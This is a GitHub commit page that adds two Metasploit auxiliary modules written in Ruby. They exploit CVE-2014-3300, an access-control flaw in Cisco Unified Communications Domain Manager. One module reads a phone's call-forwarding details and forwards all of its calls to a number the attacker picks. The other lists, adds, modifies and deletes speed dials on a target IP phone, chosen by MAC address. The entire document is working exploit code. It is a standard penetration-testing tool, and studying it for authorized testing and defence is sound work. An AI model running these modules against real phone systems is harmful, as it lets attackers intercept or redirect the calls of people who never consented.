Skip to content

Commit 49f04fa

Browse files
jvazquez-r7jvazquez-r7
committed
Land rapid7#4065, @fozavci's Cisco CUCDM auxiliary modules
2 parents bedbffa + 05d3641 commit 49f04fa

File tree

2 files changed

+353
-0
lines changed

2 files changed

+353
-0
lines changed

‎modules/auxiliary/voip/cisco_cucdm_call_forward.rb

Lines changed: 148 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,148 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'rexml/document'
8+
9+
class Metasploit3 < Msf::Auxiliary
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
def initialize(info={})
14+
super(update_info(info,
15+
'Name' => 'Viproy CUCDM IP Phone XML Services - Call Forwarding Tool',
16+
'Description' => %q{
17+
The BVSMWeb portal in the web framework in Cisco Unified Communications Domain Manager
18+
(CDM) 10 does not properly implement access control, which allows remote attackers to
19+
modify user information. This module exploits the vulnerability for configure unauthorized
20+
call forwarding.
21+
},
22+
'Author' => 'fozavci',
23+
'References' =>
24+
[
25+
['CVE', '2014-3300'],
26+
['BID', '68331']
27+
],
28+
'License' => MSF_LICENSE,
29+
'Actions' =>
30+
[
31+
[ 'Forward', { 'Description' => 'Enabling the call forwarding for the MAC address' } ],
32+
[ 'Info', { 'Description' => 'Retrieving the call forwarding information for the MAC address' } ]
33+
],
34+
'DefaultAction' => 'Info'
35+
))
36+
37+
register_options(
38+
[
39+
OptString.new('TARGETURI', [ true, 'Target URI for XML services', '/bvsmweb']),
40+
OptString.new('MAC', [ true, 'MAC Address of target phone', '000000000000']),
41+
OptString.new('FORWARDTO', [ true, 'Number to forward all calls', '007']),
42+
OptString.new('FINTNUMBER', [ false, 'FINTNUMBER of IP Phones, required for multiple lines'])
43+
], self.class)
44+
end
45+
46+
def run
47+
case action.name.upcase
48+
when 'INFO'
49+
get_info
50+
when 'FORWARD'
51+
forward_calls
52+
end
53+
end
54+
55+
def get_info
56+
uri = normalize_uri(target_uri.to_s)
57+
mac = datastore["MAC"]
58+
59+
print_status("#{peer} - Getting fintnumbers and display names of the IP phone")
60+
61+
res = send_request_cgi(
62+
{
63+
'uri' => normalize_uri(uri, 'showcallfwd.cgi'),
64+
'method' => 'GET',
65+
'vars_get' => {
66+
'device' => "SEP#{mac}"
67+
}
68+
})
69+
70+
unless res && res.code == 200 && res.body && res.body.to_s =~ /fintnumber/
71+
print_error("#{peer} - Target appears not vulnerable!")
72+
print_status("#{res}")
73+
return []
74+
end
75+
76+
doc = REXML::Document.new(res.body)
77+
lines = []
78+
fint_numbers = []
79+
80+
list = doc.root.get_elements('MenuItem')
81+
82+
list.each do |lst|
83+
xlist = lst.get_elements('Name')
84+
xlist.each {|l| lines << "#{l[0]}"}
85+
xlist = lst.get_elements('URL')
86+
xlist.each {|l| fint_numbers << "#{l[0].to_s.split('fintnumber=')[1]}" }
87+
end
88+
89+
lines.size.times do |i|
90+
print_status("#{peer} - Display Name: #{lines[i]}, Fintnumber: #{fint_numbers[i]}")
91+
end
92+
93+
fint_numbers
94+
end
95+
96+
def forward_calls
97+
# for a specific FINTNUMBER redirection
98+
uri = normalize_uri(target_uri.to_s)
99+
forward_to = datastore["FORWARDTO"]
100+
mac = datastore["MAC"]
101+
102+
if datastore['FINTNUMBER']
103+
fint_numbers = [datastore['FINTNUMBER']]
104+
else
105+
fint_numbers = get_info
106+
end
107+
108+
if fint_numbers.empty?
109+
print_error("#{peer} - FINTNUMBER required to forward calls")
110+
return
111+
end
112+
113+
fint_numbers.each do |fintnumber|
114+
115+
print_status("#{peer} - Sending call forward request for #{fintnumber}")
116+
117+
send_request_cgi(
118+
{
119+
'uri' => normalize_uri(uri, 'phonecallfwd.cgi'),
120+
'method' => 'GET',
121+
'vars_get' => {
122+
'cfoption' => 'CallForwardAll',
123+
'device' => "SEP#{mac}",
124+
'ProviderName' => 'NULL',
125+
'fintnumber' => "#{fintnumber}",
126+
'telno1' => "#{forward_to}"
127+
}
128+
})
129+
130+
res = send_request_cgi(
131+
{
132+
'uri' => normalize_uri(uri, 'showcallfwdperline.cgi'),
133+
'method' => 'GET',
134+
'vars_get' => {
135+
'device' => "SEP#{mac}",
136+
'fintnumber' => "#{fintnumber}"
137+
}
138+
})
139+
140+
if res && res.body && res.body && res.body.to_s =~ /CFA/
141+
print_good("#{peer} - Call forwarded successfully for #{fintnumber}")
142+
else
143+
print_status("#{peer} - Call forward failed.")
144+
end
145+
end
146+
end
147+
148+
end

‎modules/auxiliary/voip/cisco_cucdm_speed_dials.rb

Lines changed: 205 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,205 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'rexml/document'
8+
9+
class Metasploit3 < Msf::Auxiliary
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
def initialize(info={})
14+
super(update_info(info,
15+
'Name' => 'Viproy CUCDM IP Phone XML Services - Speed Dial Attack Tool',
16+
'Description' => %q{
17+
The BVSMWeb portal in the web framework in Cisco Unified Communications Domain Manager
18+
(CDM), before version 10, doesn't implement access control properly, which allows remote
19+
attackers to modify user information. This module exploits the vulnerability to make
20+
unauthorized speeddial manipulations.
21+
},
22+
'Author' => 'fozavci',
23+
'References' =>
24+
[
25+
['CVE', '2014-3300'],
26+
['BID', '68331']
27+
],
28+
'License' => MSF_LICENSE,
29+
'Actions' =>
30+
[
31+
[ 'List', { 'Description' => 'Getting the speeddials for the MAC address' } ],
32+
[ 'Modify', { 'Description' => 'Modifying a speeddial for the MAC address' } ],
33+
[ 'Add', { 'Description' => 'Adding a speeddial for the MAC address' } ],
34+
[ 'Delete', { 'Description' => 'Deleting a speeddial for the MAC address' } ]
35+
],
36+
'DefaultAction' => 'List'
37+
))
38+
39+
register_options(
40+
[
41+
OptString.new('TARGETURI', [ true, 'Target URI for XML services', '/bvsmweb']),
42+
OptString.new('MAC', [ true, 'MAC Address of target phone', '000000000000']),
43+
OptString.new('NAME', [ false, 'Name for Speed Dial', 'viproy']),
44+
OptString.new('POSITION', [ false, 'Position for Speed Dial', '1']),
45+
OptString.new('TELNO', [ false, 'Phone number for Speed Dial', '007']),
46+
], self.class)
47+
end
48+
49+
def run
50+
51+
case action.name.upcase
52+
when 'MODIFY'
53+
modify
54+
when 'DELETE'
55+
delete
56+
when 'ADD'
57+
add
58+
when 'LIST'
59+
list
60+
end
61+
62+
end
63+
64+
def send_rcv(uri, vars_get)
65+
uri = normalize_uri(target_uri.to_s, uri.to_s)
66+
res = send_request_cgi(
67+
{
68+
'uri' => uri,
69+
'method' => 'GET',
70+
'vars_get' => vars_get
71+
})
72+
73+
if res && res.code == 200 && res.body && res.body.to_s =~ /Speed [D|d]ial/
74+
return Exploit::CheckCode::Vulnerable, res
75+
else
76+
print_error("#{peer} - Target appears not vulnerable!")
77+
return Exploit::CheckCode::Safe, res
78+
end
79+
end
80+
81+
def parse(res)
82+
doc = REXML::Document.new(res.body)
83+
names = []
84+
phones = []
85+
86+
list = doc.root.get_elements('DirectoryEntry')
87+
list.each do |lst|
88+
xlist = lst.get_elements('Name')
89+
xlist.each {|l| names << "#{l[0]}"}
90+
xlist = lst.get_elements('Telephone')
91+
xlist.each {|l| phones << "#{l[0]}" }
92+
end
93+
94+
if names.size > 0
95+
names.size.times do |i|
96+
info = ''
97+
info << "Position: #{names[i].split(":")[0]}, "
98+
info << "Name: #{names[i].split(":")[1]}, "
99+
info << "Telephone: #{phones[i]}"
100+
101+
print_good("#{peer} - #{info}")
102+
end
103+
else
104+
print_status("#{peer} - No Speed Dial detected")
105+
end
106+
end
107+
108+
def list
109+
mac = datastore['MAC']
110+
111+
print_status("#{peer} - Getting Speed Dials of the IP phone")
112+
vars_get = {
113+
'device' => "SEP#{mac}"
114+
}
115+
116+
status, res = send_rcv('speeddials.cgi', vars_get)
117+
parse(res) unless status == Exploit::CheckCode::Safe
118+
end
119+
120+
def add
121+
mac = datastore['MAC']
122+
name = datastore['NAME']
123+
position = datastore['POSITION']
124+
telno = datastore['TELNO']
125+
126+
print_status("#{peer} - Adding Speed Dial to the IP phone")
127+
vars_get = {
128+
'name' => "#{name}",
129+
'telno' => "#{telno}",
130+
'device' => "SEP#{mac}",
131+
'entry' => "#{position}",
132+
'mac' => "#{mac}"
133+
}
134+
status, res = send_rcv('phonespeedialadd.cgi', vars_get)
135+
136+
if status == Exploit::CheckCode::Vulnerable && res && res.body && res.body.to_s =~ /Added/
137+
print_good("#{peer} - Speed Dial #{position} is added successfully")
138+
elsif res && res.body && res.body.to_s =~ /exist/
139+
print_error("#{peer} - Speed Dial is exist, change the position or choose modify!")
140+
else
141+
print_error("#{peer} - Speed Dial couldn't add!")
142+
end
143+
end
144+
145+
def delete
146+
mac = datastore['MAC']
147+
position = datastore['POSITION']
148+
149+
print_status("#{peer} - Deleting Speed Dial of the IP phone")
150+
151+
vars_get = {
152+
'entry' => "#{position}",
153+
'device' => "SEP#{mac}"
154+
}
155+
156+
status, res = send_rcv('phonespeeddialdelete.cgi', vars_get)
157+
158+
if status == Exploit::CheckCode::Vulnerable && res && res.body && res.body.to_s =~ /Deleted/
159+
print_good("#{peer} - Speed Dial #{position} is deleted successfully")
160+
else
161+
print_error("#{peer} - Speed Dial is not found!")
162+
end
163+
end
164+
165+
def modify
166+
mac = datastore['MAC']
167+
name = datastore['NAME']
168+
position = datastore['POSITION']
169+
telno = datastore['TELNO']
170+
171+
print_status("#{peer} - Deleting Speed Dial of the IP phone")
172+
173+
vars_get = {
174+
'entry' => "#{position}",
175+
'device' => "SEP#{mac}"
176+
}
177+
178+
status, res = send_rcv('phonespeeddialdelete.cgi', vars_get)
179+
180+
if status == Exploit::CheckCode::Vulnerable && res && res.body && res.body.to_s =~ /Deleted/
181+
print_good("#{peer} - Speed Dial #{position} is deleted successfully")
182+
print_status("#{peer} - Adding Speed Dial to the IP phone")
183+
184+
vars_get = {
185+
'name' => "#{name}",
186+
'telno' => "#{telno}",
187+
'device' => "SEP#{mac}",
188+
'entry' => "#{position}",
189+
'mac' => "#{mac}"
190+
}
191+
192+
status, res = send_rcv('phonespeedialadd.cgi', vars_get)
193+
194+
if status == Exploit::CheckCode::Vulnerable && res && res.body && res.body.to_s =~ /Added/
195+
print_good("#{peer} - Speed Dial #{position} is added successfully")
196+
elsif res && res.body =~ /exist/
197+
print_error("#{peer} - Speed Dial is exist, change the position or choose modify!")
198+
else
199+
print_error("#{peer} - Speed Dial couldn't add!")
200+
end
201+
else
202+
print_error("#{peer} - Speed Dial is not found!")
203+
end
204+
end
205+
end

0 commit comments

Comments
 (0)